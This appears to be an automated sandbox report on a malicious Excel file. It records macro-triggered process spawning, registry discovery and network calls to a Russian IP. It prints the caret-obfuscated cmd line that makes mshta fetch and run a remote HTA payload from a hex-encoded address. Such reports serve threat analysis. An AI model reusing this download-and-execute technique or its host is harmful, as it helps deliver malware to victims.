Analysis Overview
SHA256
b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578
Threat Level: Known bad
The file b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Suspicious use of WriteProcessMemory
Checks processor information in registry
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 21:42
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 21:42
Reported
2024-11-11 21:44
Platform
win7-20240708-en
Max time kernel
119s
Max time network
120s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1476 wrote to memory of 2664 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1476 wrote to memory of 2664 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1476 wrote to memory of 2664 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1476 wrote to memory of 2664 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2664 wrote to memory of 2736 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2664 wrote to memory of 2736 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2664 wrote to memory of 2736 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2664 wrote to memory of 2736 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe3.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/1476-1-0x0000000072A5D000-0x0000000072A68000-memory.dmp
memory/1476-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1476-2-0x0000000072A5D000-0x0000000072A68000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 21:42
Reported
2024-11-11 21:44
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
138s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3928 wrote to memory of 1408 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3928 wrote to memory of 1408 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 1408 wrote to memory of 2140 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 1408 wrote to memory of 2140 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b171d0fe07081dc2242ca925781fe764c795dba322ef8a8f0bfb2e30918af578.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe3.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 63.141.182.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.117.19.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
memory/3928-0-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp
memory/3928-2-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp
memory/3928-3-0x00007FFB79C4D000-0x00007FFB79C4E000-memory.dmp
memory/3928-1-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp
memory/3928-6-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-5-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp
memory/3928-9-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-11-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-10-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-12-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp
memory/3928-8-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-7-0x00007FFB39C30000-0x00007FFB39C40000-memory.dmp
memory/3928-4-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-14-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-13-0x00007FFB37A90000-0x00007FFB37AA0000-memory.dmp
memory/3928-15-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-16-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-17-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-18-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-20-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-19-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-21-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
memory/3928-37-0x00007FFB79BB0000-0x00007FFB79DA5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 06390db9ceddd14aeac407f3aac4921d |
| SHA1 | 4360a456ca438eca71e35daf12f7bb1871f262cd |
| SHA256 | 94cfdd2569c8549b8717b619544a29ef10ff450282f7f5fafe2637769fb09bd5 |
| SHA512 | c5f8c1cf2b333b45daf084f162c839a99d9463d1399e4782a35bbf308f59d9de481f26fb9312da2e5180a45b038fc03e895ca8c8b650ef604d405d18606edd40 |